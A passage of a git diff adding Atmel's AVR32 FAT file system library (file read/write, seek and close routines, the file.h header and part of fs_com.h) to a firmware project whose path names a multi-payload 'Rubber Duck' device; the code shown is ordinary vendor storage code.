wrong + if( u8_nb_sector_not_used == fs_g_nav.u8_BPB_SecPerClus ) + u8_nb_sector_not_used = 0; // The file uses all last cluster space + + // Subtract this value a the file position and segment size + u8_nb_sector_not_used -= u8_nb_sector_truncated; + fs_g_seg.u32_size_or_pos -= u8_nb_sector_not_used; // unit sector + fs_g_nav_entry.u32_pos_in_file -= ((uint16_t)u8_nb_sector_not_used) << FS_512B_SHIFT_BIT; // unit byte + } + file_load_segment_value( segment ); + return true; +} + + +//! This function copys in a buffer the file data corresponding at the current position +//! +//! @param buffer buffer to fill +//! @param u16_buf_size buffer size +//! +//! @return number of byte read +//! @return 0, in case of error +//! +uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ) +{ + _MEM_TYPE_FAST_ uint16_t u16_nb_read_tmp; + _MEM_TYPE_FAST_ uint16_t u16_nb_read; + _MEM_TYPE_FAST_ uint16_t u16_pos_in_sector; + _MEM_TYPE_FAST_ uint32_t u32_byte_remaining; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + return false; + } + + u16_nb_read = 0; + + while( 0 != u16_buf_size ) + { + if ( file_eof() ) + { + fs_g_status = FS_ERR_EOF; + return u16_nb_read; // End of the file + } + u32_byte_remaining = fs_g_nav_entry.u32_size-fs_g_nav_entry.u32_pos_in_file; + u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B; + + if( (0== u16_pos_in_sector) + && (FS_512B <= u32_byte_remaining) + && (FS_512B <= u16_buf_size) +#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__) + && (Test_align((uint32_t)buffer, sizeof(uint32_t))) +#endif + ) + { + // The file data sector can been directly transfer from memory to buffer (don't use internal cache) + if( u16_buf_size <= u32_byte_remaining) + { + u16_nb_read_tmp = u16_buf_size; + }else{ + u16_nb_read_tmp = u32_byte_remaining; + } + u16_nb_read_tmp = u16_nb_read_tmp / FS_512B; // read a modulo sector size + + // Get following sector segment of file + if( !fat_read_file(FS_CLUST_ACT_SEG)) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + fs_g_status = FS_ERR_EOF; // translate the error + return u16_nb_read; + } + // Truncate the segment size found if more larger than asked size + if( u16_nb_read_tmp > fs_g_seg.u32_size_or_pos ) + { + u16_nb_read_tmp = fs_g_seg.u32_size_or_pos; + }else{ + fs_g_seg.u32_size_or_pos = u16_nb_read_tmp; + } + + // Directly data tranfert from memory to buffer + while( 0 != fs_g_seg.u32_size_or_pos ) + { + if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer)) + { + fs_g_status = FS_ERR_HW; + return u16_nb_read; + } + fs_g_seg.u32_size_or_pos--; + fs_g_seg.u32_addr++; + buffer += FS_512B; + } + // Translate from sector unit to byte unit + u16_nb_read_tmp *= FS_512B; + } + else + { + // The file data can't been directly transfer from memory to buffer, the internal cache must be used + + // Tranfer data from memory to internal cache + if( !fat_read_file( FS_CLUST_ACT_ONE )) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + { // Translate the error + fs_g_status = FS_ERR_EOF; // End of file + } + return u16_nb_read; + } + + // Compute the number of data to transfer + u16_nb_read_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size + if( u16_nb_read_tmp > u32_byte_remaining ) + u16_nb_read_tmp = u32_byte_remaining; + if( u16_nb_read_tmp > u16_buf_size ) + u16_nb_read_tmp = u16_buf_size; + + // Tranfer data from internal cache to buffer + memcpy_ram2ram( buffer , &fs_g_sector[ u16_pos_in_sector ], u16_nb_read_tmp ); + buffer += u16_nb_read_tmp; + } + // Update positions + fs_g_nav_entry.u32_pos_in_file += u16_nb_read_tmp; + u16_nb_read += u16_nb_read_tmp; + u16_buf_size -= u16_nb_read_tmp; + } + return u16_nb_read; // Buffer is full +} + + +//! This function returns the next byte of file +//! +//! @return The byte readed +//! @return EOF, in case of error or end of file +//! +uint16_t file_getc( void ) +{ + uint16_t u16_byte; + + while(1) + { + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + break; + } + if( fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ) + { + fs_g_status = FS_ERR_EOF; + break; + } + + if( !fat_read_file( FS_CLUST_ACT_ONE )) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + { // Translate the error + fs_g_status = FS_ERR_EOF; // End of file + } + break; + } + + u16_byte = fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ]; + fs_g_nav_entry.u32_pos_in_file++; + return u16_byte; + } + return FS_EOF; // No data readed +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file
+//! ->u32_size_or_pos OUT, contains the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to write a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_write() for each fragments. +//! @endverbatim +//! +Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + if( !fat_write_file( FS_CLUST_ACT_SEG , segment->u16_size )) + return false; + + // If the segment is too large then truncate it + if( (segment->u16_size != 0) // if not undefine limit + && (segment->u16_size < fs_g_seg.u32_size_or_pos) ) + { + fs_g_seg.u32_size_or_pos = segment->u16_size ; + } + + // Update file position + fs_g_nav_entry.u32_pos_in_file += ((uint32_t)fs_g_seg.u32_size_or_pos * FS_512B); + + // Update size file + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + file_load_segment_value( segment ); + return true; +} + + +//! This function sets the end of file at the current position +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is usualy used after the last file_write() call. +//! The file_write() routine uses the sector unit (512B), +//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call. +//! @endverbatim +//! +Bool file_set_eof( void ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + // Update the file size + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + + if( !fat_read_file( FS_CLUST_ACT_CLR )) + return false; + + return fat_cache_flush(); +} + + +//! This function transfer a buffer to a file at the current file position +//! +//! @param buffer data buffer +//! @param u16_buf_size data size +//! +//! @return number of byte write +//! @return 0, in case of error +//! +uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ) +{ + _MEM_TYPE_FAST_ uint16_t u16_nb_write_tmp; + _MEM_TYPE_FAST_ uint16_t u16_nb_write; + _MEM_TYPE_FAST_ uint16_t u16_pos_in_sector; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + u16_nb_write = 0; + + while( 0 != u16_buf_size ) + { + // The file data sector can been directly transfer from buffer to memory (don't use internal cache) + u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B; + if( (0== u16_pos_in_sector) + && (FS_512B <= u16_buf_size) +#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__) + && (Test_align((uint32_t)buffer, sizeof(uint32_t))) +#endif + ) + { + u16_nb_write_tmp = u16_buf_size / FS_512B; // read a modulo sector size + + // Get and eventually alloc the following sector segment of file + if( !fat_write_file( FS_CLUST_ACT_SEG , u16_nb_write_tmp )) + return false; + // Truncate the segment found if more larger than asked size + if( u16_nb_write_tmp < fs_g_seg.u32_size_or_pos) + { + fs_g_seg.u32_size_or_pos = u16_nb_write_tmp; + }else{ + u16_nb_write_tmp = fs_g_seg.u32_size_or_pos; + } + + // Directly data tranfert from buffer to memory + while( 0 != fs_g_seg.u32_size_or_pos ) + { + if( CTRL_GOOD != ram_2_memory( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer)) + { + fs_g_status = FS_ERR_HW; + return u16_nb_write; + } + fs_g_seg.u32_size_or_pos--; + fs_g_seg.u32_addr++; + buffer += FS_512B; + } + // Translate from sector unit to byte unit + u16_nb_write_tmp *= FS_512B; + } + else + { + // The file data can't been directly transfer from buffer to memory, the internal cache must be used + + // Tranfer and eventually alloc a data sector from internal cache to memory + if((fs_g_nav_entry.u32_pos_in_file == fs_g_nav_entry.u32_size) + && (0==u16_pos_in_sector) ) + { + // Eventually alloc one new sector for the file + if( !fat_write_file( FS_CLUST_ACT_SEG , 1 )) + return false; + // Update the cache + fs_gu32_addrsector = fs_g_seg.u32_addr; + if( !fat_cache_read_sector( false )) // The memory is not readed because it is a new sector + return false; + }else{ + // The sector must existed then alloc no necessary + if( !fat_write_file( FS_CLUST_ACT_ONE , 1 )) + return false; + } + + // Flag internal cache modified + fat_cache_mark_sector_as_dirty(); + + // Compute the number of data to transfer + u16_nb_write_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size + if( u16_nb_write_tmp > u16_buf_size ) + u16_nb_write_tmp = u16_buf_size; + + // Tranfer data from buffer to internal cache + memcpy_ram2ram( &fs_g_sector[ u16_pos_in_sector ], buffer , u16_nb_write_tmp ); + buffer += u16_nb_write_tmp; + } + // Update positions + fs_g_nav_entry.u32_pos_in_file+= u16_nb_write_tmp; + u16_nb_write += u16_nb_write_tmp; + u16_buf_size -= u16_nb_write_tmp; + // Update file size + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + } + return u16_nb_write; // All buffer is writed +} + + +//! This function writes a byte in the file +//! +//! @param u8_byte byte to write +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_putc( uint8_t u8_byte ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + if( !fat_write_file( FS_CLUST_ACT_ONE , 1 )) + return false; + + // Write the data in the internal cache + fat_cache_mark_sector_as_dirty(); + fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ] = u8_byte; + fs_g_nav_entry.u32_pos_in_file++; + + // Update the file size + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + return true; +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns the position in the file +//! +//! @return Position in file +//! +uint32_t file_getpos( void ) +{ + if( !fat_check_mount_select_open() ) + return 0; + + return fs_g_nav_entry.u32_pos_in_file; +} + + +//! This function changes the position in the file +//! +//! @param u32_pos number of byte to seek +//! @param u8_whence direction of seek
+//! FS_SEEK_SET , start at the beginning and foward
+//! FS_SEEK_END , start at the end of file and rewind
+//! FS_SEEK_CUR_RE, start at the current position and rewind
+//! FS_SEEK_CUR_FW, start at the current position and foward
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_seek( uint32_t u32_pos , uint8_t u8_whence ) +{ + if( !fat_check_mount_select_open()) + return false; + + switch(u8_whence) + { + case FS_SEEK_CUR_RE: + if( fs_g_nav_entry.u32_pos_in_file < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file -= u32_pos; + break; + + case FS_SEEK_SET: + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = u32_pos; + break; + + case FS_SEEK_END: + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size - u32_pos; + break; + + case FS_SEEK_CUR_FW: + u32_pos += fs_g_nav_entry.u32_pos_in_file; + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = u32_pos; + break; + } + return true; +} + + +//! This function checks the beginning of file +//! +//! @return 1 the position is at the beginning of file +//! @return 0 the position isn't at the beginning of file +//! @return FFh error +//! +uint8_t file_bof( void ) +{ + if( !fat_check_mount_select_open() ) + return 0xFF; + + return (0 == fs_g_nav_entry.u32_pos_in_file ); +} + + +//! This function checks the end of file +//! +//! @return 1 the position is at the end of file +//! @return 0 the position isn't at the end of file +//! @return FFh error +//! +uint8_t file_eof( void ) +{ + if( !fat_check_mount_select_open() ) + return 0xFF; + return (fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ); +} + + +//! This function flushs the internal cache (file datas and file information) +//! +void file_flush( void ) +{ + uint8_t save_open_mode; + save_open_mode = fs_g_nav_entry.u8_open_mode; + file_close(); + fs_g_nav_entry.u8_open_mode = save_open_mode; +} + + +//! This function closes the file +//! +void file_close( void ) +{ + // If a file is opened, then close this one + if( fat_check_mount_select_open() ) + { + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if( FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode ) + { + // Write file information + if( !fat_read_dir() ) + return; // error + fat_write_entry_file(); + fat_cache_flush(); // In case of error during writing data, flush the data before exit function + } +#endif // FS_LEVEL_FEATURES + Fat_file_close(); + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/file.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/file.h new file mode 100644 index 0000000..3be4bc9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/file.h @@ -0,0 +1,225 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the file accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FILE_H_ +#define _FILE_H_ + +#include "fs_com.h" +#include "fat.h" + +//_____ D E F I N I T I O N S ______________________________________________ + +//! \name options for file_seek() routine +//! @{ +#define FS_SEEK_SET 0x00 //!< start at the beginning +#define FS_SEEK_END 0x01 //!< start at the end of file and rewind +#define FS_SEEK_CUR_RE 0x02 //!< start at the current position and rewind +#define FS_SEEK_CUR_FW 0x03 //!< start at the current position and foward +//! @} + +//! \name Struture to define a physical memory segment +//! @{ +typedef struct { + uint8_t u8_lun; //!< logical unit(drive) number + uint32_t u32_addr; //!< segment address (unit sector) + uint16_t u16_size; //!< segment size (unit sector), or IN parameter for file_write() and file_read() routines +} Fs_file_segment; +//! @} + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//! This function checks if a file is selected +//! +//! @return true, a file is selected +//! @return false, otherwise +//! +Bool file_ispresent( void ); + +//! This function opens the selected file +//! +//! @param fopen_mode option to open the file :
+//! FOPEN_MODE_R R access, flux pointer = 0, size not modify
+//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify
+//! FOPEN_MODE_W W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_open( uint8_t fopen_mode ); + +//! This function returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited)
+//! ->u32_size_or_pos OUT, containt the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to read a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_read() for each fragments. +//! @endverbatim +//! +Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + +//! This function copys in a buffer the file data corresponding at the current position +//! +//! @param buffer buffer to fill +//! @param u16_buf_size buffer size +//! +//! @return number of byte read +//! @return 0, in case of error +//! +uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ); + +//! This function returns the next byte of file +//! +//! @return The byte readed +//! @return EOF, in case of error or end of file +//! +uint16_t file_getc( void ); + +//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file
+//! ->u32_size_or_pos OUT, contains the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to write a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_write() for each fragments. +//! @endverbatim +//! +Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + +//! This function sets the end of file at the current position +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is usualy used after the last file_write() call. +//! The file_write() routine uses the sector unit (512B), +//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call. +//! @endverbatim +//! +Bool file_set_eof( void ); + +//! This function transfer a buffer to a file at the current file position +//! +//! @param buffer data buffer +//! @param u16_buf_size data size +//! +//! @return number of byte write +//! @return 0, in case of error +//! +uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ); + +//! This function writes a byte in the file +//! +//! @param u8_byte byte to write +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_putc( uint8_t u8_byte ); + +//! This function returns the position in the file +//! +//! @return Position in file +//! +uint32_t file_getpos( void ); + +//! This function changes the position in the file +//! +//! @param u32_pos number of byte to seek +//! @param u8_whence direction of seek
+//! FS_SEEK_SET , start at the beginning and foward
+//! FS_SEEK_END , start at the end of file and rewind
+//! FS_SEEK_CUR_RE, start at the current position and rewind
+//! FS_SEEK_CUR_FW, start at the current position and foward
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_seek( uint32_t u32_pos , uint8_t u8_whence ); + +//! This function checks the beginning of file +//! +//! @return 1 the position is at the beginning of file +//! @return 0 the position isn't at the beginning of file +//! @return FFh error +//! +uint8_t file_bof( void ); + +//! This function checks the end of file +//! +//! @return 1 the position is at the end of file +//! @return 0 the position isn't at the end of file +//! @return FFh error +//! +uint8_t file_eof( void ); + +//! This function flushs the internal cache (file datas and file information) +//! +void file_flush( void ); + +//! This function closes the file +//! +void file_close( void ); + + +#endif // _FILE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fs_com.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fs_com.h new file mode 100644 index 0000000..552b9c8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fs_com.h @@ -0,0 +1,258 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file provides a set of definitions for FAT module interface. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FAT_COM_H_ +#define _FAT_COM_H_ + +#include "conf_explorer.h" + +//! Used to have a clear code with only one segment to define a variable in project +#undef _GLOBEXT_ +#if (defined _fat_c_) +# define _GLOBEXT_ +#else +# define _GLOBEXT_ extern +#endif + + +//------- Check configuration defined in conf_explorer.h + +#ifndef FS_FAT_12 +# error FS_FAT_12 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_FAT_16 +# error FS_FAT_16 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_FAT_32 +# error FS_FAT_32 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif + +#ifndef FS_MULTI_PARTITION +# error FS_MULTI_PARTITION must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_NB_NAVIGATOR +# error FS_NB_NAVIGATOR must be defined in conf_explorer.h +#endif + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//**** Defines used in function parameters + +//! \name Modes of file name control functions +//! @{ +#define FS_NAME_GET true +#define FS_NAME_CHECK false +//! @} + +//! \name Modes of disk serial number function +//! @{ +#define FS_SN_READ true +#define FS_SN_WRITE false +//! @} + +//! \name Modes of disk label function +//! @{ +#define FS_LABEL_READ true +#define FS_LABEL_WRITE false +//! @} + +//! \name Status returned by paste file function +//! @{ +#define COPY_BUSY 0x00 +#define COPY_FAIL 0x01 +#define COPY_FINISH 0x02 +//! @} + +//! \name Date field managed by date control functions +//! @{ +#define FS_DATE_CREATION true +#define FS_DATE_LAST_WRITE false +//! @} + +//! \name File entry types used by many functions +//! @{ +#define FS_FILE true +#define FS_DIR false +//! @} + +//! \name Directory identifier, which corresponding at the first cluster of directory cluster list +//! @{ +#define FS_ID_DIR_EMPTY 0xFFFFFFFF // ID no directory = bad cluster +#define FS_ID_DIR_ROOT 0 // ID of the root directory is always the cluster 0 +//! @} + +//! \name File entry attributes +//! @{ +#define FS_ATTR_FILE ((Byte)0x00) // Normal File attribute +#define FS_ATTR_READ_ONLY ((Byte)0x01) // Read Only File attribute +#define FS_ATTR_HIDDEN ((Byte)0x02) // Hidden File attribute +#define FS_ATTR_SYSTEM ((Byte)0x04) // System File attribute +#define FS_ATTR_VOLUME_ID ((Byte)0x08) // Volume id attribute +#define FS_ATTR_DIRECTORY ((Byte)0x10) // Directory attribute +#define FS_ATTR_ARCHIVE ((Byte)0x20) // Archive attribute +#define FS_ATTR_LFN_ENTRY ((Byte)0x0F) // LFN entry attribute +#define Fat_is_not_a_file ((FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr) || (FS_ATTR_VOLUME_ID & fs_g_nav_entry.u8_attr)) +//! @} + +//! \name File open modes +//! @{ +#define FOPEN_READ_ACCESS 0x01 // authorize the read access +#define FOPEN_WRITE_ACCESS 0x02 // authorize the write access +#define FOPEN_CLEAR_SIZE 0x04 // reset size +#define FOPEN_CLEAR_PTR 0x08 // reset flux pointer +#define FOPEN_MODE_R (FOPEN_READ_ACCESS|FOPEN_CLEAR_PTR) //!< R access, flux pointer = 0, size not modify +#define FOPEN_MODE_R_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR) //!< R/W access, flux pointer = 0, size not modify +#define FOPEN_MODE_W (FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< W access, flux pointer = 0, size = 0 +#define FOPEN_MODE_W_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< R/W access, flux pointer = 0, size = 0 +#define FOPEN_MODE_APPEND (FOPEN_WRITE_ACCESS) //!< W access, flux pointer = at the end, size not modify +//! @} + +//! \name Value to signal the end of file after a file_getc() call +#define FS_EOF 0xFFFF + +//! \name Options of format function +//! @{ +#define FS_FORMAT_DEFAULT 0x01 //!< The format routine chooses the better FAT for the device +#define FS_FORMAT_FAT 0x02 //!< Force FAT12 or FAT16 format +#define FS_FORMAT_FAT32 0x03 //!< Force FAT32 format +#define FS_FORMAT_NOMBR_FLAG 0x80 //!< MBR is mandatory for USB device on MacOS, and no MBR is mandatory for CD-ROM USB device on Windows +#define FS_FORMAT_DEFAULT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_DEFAULT) +#define FS_FORMAT_FAT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT) +#define FS_FORMAT_FAT32_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT32) +//! @} + + +//**** communication STRUCTURES + +//! \name String types depend of ASCII and UNICODE options +//! @{ +typedef uint16_t UNICODE; +typedef char _MEM_TYPE_SLOW_ * FS_STRING; +typedef UNICODE _MEM_TYPE_SLOW_ * FS_STR_UNICODE; +//! @} + +//! \name Struture to store a pointer on a file +typedef struct { + uint8_t u8_lun; //!< number of the logical driver +#if (FS_MULTI_PARTITION == ENABLED) + uint8_t u8_partition; //!< number of the partition - 1 (0 or 1) (if FS_MULTI_PARTITION == ENABLED) +#endif + uint32_t u32_cluster_sel_dir; //!< first cluster of the directory corresponding at the selected file + uint16_t u16_entry_pos_sel_file; //!< entry offset of selected file in selected directory (unit = FS_SIZE_FILE_ENTRY) +} Fs_index; + + +//**** ERROR CODE + +//! \name File System errors list +//! @{ +#define FS_ERR_HW (FAIL+0) //!< Hardware driver error +#define FS_ERR_NO_FORMAT (FAIL+1) //!< The selected drive isn't formated +#define FS_ERR_NO_PART (FAIL+2) //!< The selected partition doesn't existed +#define FS_ERR_NO_SUPPORT_PART (FAIL+3) //!< The selected partition isn't supported +#define FS_ERR_TOO_FILE_OPEN (FAIL+4) //!< The navigation have already opened a file +#define FS_ERR_END_OF_DRIVE (FAIL+5) //!< There are not other driver +#define FS_ERR_BAD_POS (FAIL+6) //!< The position is over the file +#define FS_ERR_FS (FAIL+7) //!< File system error +#define 